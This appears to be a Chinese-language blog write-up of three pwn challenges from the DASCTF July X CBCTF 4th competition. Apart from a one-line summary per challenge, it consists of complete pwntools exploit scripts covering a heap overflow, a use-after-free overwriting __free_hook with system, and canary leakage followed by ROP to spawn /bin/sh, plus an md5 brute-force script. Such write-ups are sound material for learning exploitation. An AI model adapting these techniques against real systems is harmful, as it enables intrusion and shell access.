DASCTF July X CBCTF 4th PWN WP

Posted on Aug 2, 2021

周末打了一下 DASCTF July X CBCTF 4th 这场比赛,其实这段时间也有一个什么极客巅峰的比赛,还有一个 UIUCTF。极客巅峰错过报名了(以为是晚上十点截止),再加上决赛似乎主要是渗透测试相关的,本来也不是很相关。UIUCTF 感觉质量还挺高的,后来看好像还有专门的 kernel 题,正好这段时间学 kernel 其实挺值得打一下的,但是打完了 DASCTF 才发现有这比赛,所以也错过了。

DASCTF PWN 题的质量不高,难度不高,也没什么新意,不想多说什么。这边就只放下 EXP 了。

EasyHeap

由 strdup 造成的简单堆溢出

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
context.os = 'linux'
context.arch = 'amd64'

#sh = process("./Easyheap")
sh = remote("node4.buuoj.cn", 27695)
libc = ELF("./libc-2.27.so")
bss_base = 0x23330000

def add(size, payload):
    sh.sendlineafter(">> :\n", '1')
    sh.sendlineafter("Size: \n", str(size))
    sh.sendafter("Content: \n", payload)

def delete(idx):
    sh.sendlineafter(">> :\n", '2')
    sh.sendlineafter("Index:\n", str(idx))

def show(idx):
    sh.sendlineafter(">> :\n", '3')
    sh.sendlineafter("Index:\n", str(idx))

def edit(idx, payload):
    sh.sendlineafter(">> :\n", '4')
    sh.sendlineafter("Index:\n", str(idx))
    sh.sendafter("Content:\n", payload)

add(0x410, '\n') # idx:0
add(0x410, 'a' * 0x410) # idx:1
add(0x410, '\n') # idx:2
add(0x410, '\n') # idx:3
add(0x410, 'a' * 0x20) # idx:4
add(0x410, 'a' * 0x20) # idx:5

delete(1)
edit(0, 'a' * 0x20)
show(0)
sh.recvuntil("a" * 0x20)
libc_base = u64(sh.recv(6).ljust(0x8, '\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60
__malloc_hook = libc_base + libc.sym["__malloc_hook"]
log.success("libc_base: " + hex(libc_base))

delete(3)
edit(2, 'a' * 0x10 + p64(0) + p64(0x21) + p64(0x23330000))
add(0x410, '\n') # idx: 1
add(0x410, '\n') # idx: 3

payload = ''
payload += asm(shellcraft.open('./flag')) 
payload += asm(shellcraft.read(3,bss_base + 0x300,0x60))
payload += asm(shellcraft.write(1,bss_base + 0x300,0x60))
edit(3, payload)

delete(5)
edit(4, 'a' * 0x20 + p64(0) + p64(0x31) + p64(__malloc_hook))
add(0x20, 'a' * 0x20) # idx:5
add(0x20, 'a' * 0x20) # idx:6
edit(6, p64(bss_base))

#gdb.attach(proc.pidof(sh)[0])
add(0x20, '\n')

sh.interactive()

realNoOutput

由数组越界可以造成 edit 中的未初始化指针引用,从而实现 UAF

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

#sh = process("./realNoOutput_p")
#sh = process("./realNoOutput")
sh = remote("node4.buuoj.cn", 29005)
libc = ELF("./libc.so.6")

def add(idx, size, payload):
    sh.sendline('1')
    sleep(0.1)
    sh.sendline(str(idx))
    sleep(0.1)
    sh.sendline(str(size))
    sleep(0.1)
    sh.send(payload)
    sleep(0.1)

def delete(idx):
    sh.sendline('2')
    sleep(0.1)
    sh.sendline(str(idx))
    sleep(0.1)

def edit(idx, payload):
    sh.sendline('3')
    sleep(0.1)
    sh.sendline(str(idx))
    sleep(0.1)
    sh.send(payload)
    sleep(0.1)

def show(idx):
    sh.sendline('4')
    sleep(0.1)
    sh.sendline(str(idx))
    sleep(0.1)

for i in range(8):
    add(i, 0x100, 'a' * 0x20)

for i in range(8):
    delete(7 - i)

#for i in range(7):
#    add(i, 0x100, 'aaaaaaaa')

add(7, 0x20, 'aaaabbbb')

sleep(0.2)

show(7)
sh.recvuntil('aaaabbbb')
libc_base = u64(sh.recv(6).ljust(0x8, '\x00')) - libc.sym["__malloc_hook"] - 0x170
__free_hook = libc_base + libc.sym["__free_hook"]
__malloc_hook = libc_base + libc.sym["__malloc_hook"]
system = libc_base + libc.sym["system"]
log.success("libc_base: " + hex(libc_base))

add(8, 0x10, 'a')
add(1, 0x10, '/bin/sh\x00')
add(2, 0x10, '/bin/sh\x00')
add(3, 0x10, '/bin/sh\x00')
add(4, 0x10, '/bin/sh\x00')

delete(1)
delete(3)
delete(4)
log.success("__free_hook: " + hex(__free_hook))
log.success("system: " + hex(system))
edit(0, p64(__free_hook))
#add(3, 0x8, 'a' * 8)
#add(4, 0x8, 'a' * 8)
#add(5, 0x8, 'a' * 8)
add(4, 0x18, p64(system) * 3)
add(5, 0x18, p64(system) * 3)
delete(2)

sh.interactive()

old_thing

爆破 ‘\x00’ 开头的 md5 原值,然后 ROP 即可

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

#sh = process("./canary3")
elf = ELF("./canary3")
sh = remote("node4.buuoj.cn","26823")

sh.sendafter("username:", 'admin'.ljust(0x20, '\x00'))
sh.sendafter("password:", '\x3d\xfd\xff\xff'.ljust(0x20, '\x00'))

sh.sendlineafter("3.exit\n", '2')
sh.sendafter('your input:\n', 'a' * 0x8)
sh.sendlineafter("3.exit\n", '1')
sh.recvuntil("a" * 0x8)
prog_base = u64(sh.recv(6).ljust(0x8, '\x00')) - 0xA20
log.success("prog_base: " + hex(prog_base))

sh.sendlineafter("3.exit\n", '2')
sh.sendafter('your input:\n', 'a' * (0x8 * 3) + '-')
sh.sendlineafter("3.exit\n", '1')
sh.recvuntil("-")
canary = u64('\x00' + sh.recv(7))
log.success("canary: " + hex(canary))

pop_rdi_ret = prog_base + 0x0000000000002593
pop_rsi_r15_ret = prog_base + 0x0000000000002591

payload = 'a' * 0x18 + p64(canary) + 'b' * 8
payload += p64(prog_base + 0x990) # call system
payload += p64(pop_rdi_ret) + p64(prog_base + 0x203038)
payload += p64(prog_base + 0x950) + p64(prog_base + 0x23F6) # puts system@got

sh.sendlineafter("3.exit\n", '2')
sh.sendafter('your input:\n', payload)

sh.sendlineafter("3.exit\n", '3')

system_addr = u64(sh.recv(6).ljust(0x8, '\x00'))

sh.sendafter("username:", 'admin'.ljust(0x20, '\x00'))
sh.sendafter("password:", '\x3d\xfd\xff\xff'.ljust(0x20, '\x00'))

payload = 'a' * 0x18 + p64(canary) + 'b' * 8 
payload += p64(pop_rdi_ret) + p64(0) 
payload += p64(pop_rsi_r15_ret) + p64(prog_base + 0x203060) + p64(0)
payload += p64(prog_base + 0x9B0)
payload += p64(prog_base + 0x23F6)

sh.sendlineafter("3.exit\n", '2')
sh.sendafter('your input:\n', payload)

sh.sendlineafter("3.exit\n", '3')

sh.send(p64(system_addr))

sh.sendafter("username:", 'admin'.ljust(0x20, '\x00'))
sh.sendafter("password:", '\x3d\xfd\xff\xff'.ljust(0x20, '\x00'))

payload = '/bin/sh\x00'

sh.sendlineafter("3.exit\n", '2')
sh.sendafter('your input:\n', payload)

sh.sendlineafter("3.exit\n", '3')

sh.interactive()

# md5 0ea1fb4edf4aae8fb2ee19fb1cfbe362

网上随便找了个爆破脚本爆破了一下

#!/usr/bin/env python
# coding=utf-8
import hashlib
import random
from pwn import *


def encryption(chars):
    return hashlib.md5(chars).hexdigest()

def generate(idx):
    payload = p32(idx)
    return payload

def main():
    idx = 0xFFFFFFFF
    start = "00"
    while True:
        strs = generate(idx)
        idx -= 1
        print "Test %s " % strs.encode('hex')
        if encryption(strs).startswith(start):
            print "yes!"
            print "[+] %s " % strs.encode('hex') + "%s " % encryption(strs).encode('hex')
            break
        else:
            print "no!"
if __name__ == '__main__':
    main()
    print '完成!'